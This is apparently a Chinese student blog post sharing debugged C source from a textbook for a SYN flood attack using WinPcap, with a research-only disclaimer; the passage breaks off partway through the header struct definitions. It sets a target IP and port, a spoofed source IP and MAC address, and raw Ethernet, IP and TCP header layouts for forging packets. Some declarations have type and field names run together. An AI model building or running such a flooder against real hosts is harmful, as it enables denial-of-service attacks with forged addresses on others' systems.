第一次写博客,因为在调试那本书的代码的时候碰到很多问题,感谢CSDN的帮助,现在准备把调试好了的源码发出来给学弟学妹们分享,也供大家交流学习,本人很菜,如有问题,请多指正。
本段代码仅限于研究学习,禁止用于破坏活动,对于出现安全问题,本人概不负责!
运行环境:VS2013、WinPcap
#define WIN32_LEAN_AND_AND_MEAN
#define _WSPIAPI_COUNTOF
#include<winsock2.h>
#include<windows.h>
#include<stdio.h>
#include<stdlib.h>
#include<pcap.h>
#include<Packet32.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib, "wpcap.lib")
#pragma comment(lib, "packet.lib")
#define MAXTHREAD 20
#define OID_802_3_CURRENT_ADDRESS 0x01010102
#define OPTION_LENTH 6
#define SYN_DEST_IP "192.168.0.22"//被攻击IP
#define SYN_DEST_PORT 80//被攻击端口
#define FAKE_IP "192.168.0.11"//伪装IP
#define FAKE_MAC "\xB8\xAC\x6F\x1F\x26\xF6"//伪装MAC
//内存对齐必须是1
#pragma pack(1)
typedef struct et_header//以太网首部
{
unsigned chareh_dst[6];//目的MAC
unsigned chareh_src[6];//源MAC
unsigned shorteh_type;//上层协议类型
}ET_HEADER;
typedef struct ip_hdr//IP首部
{
unsigned charh_verlen;//版本与首部长度
unsigned chartos;//区分服务
unsigned shorttotal_len;//总长度
unsigned shortident;//标识
unsigned shortfrag_and_flags;//3位标志与13位的片偏移
unsigned charttl;//生存时间
unsigned charproto;//协议
unsigned shortchecksum;//首部校验和
unsigned intsourceIP;//源IP
unsigned intdestIP;//目的IP
}IP_HEADER;
typedef struct tcp_hdr//TCP首部
{
unsigned shortth_sport;//16位源端口
unsigned shortth_dport;//16位目的端口
unsigned intth_seq;//32位序列号
unsigned intth_ack;//32位确认号
unsigned shortth_data_flag;//16位标志位
unsigned short_win;//16位窗口大小
unsigned short_sum;//16位校验和
unsigned short_urp;//16位紧急数据偏移量
unsigned intoption[OPTION_LENTH];
}TCP_HEADER;
typedef struct psd_h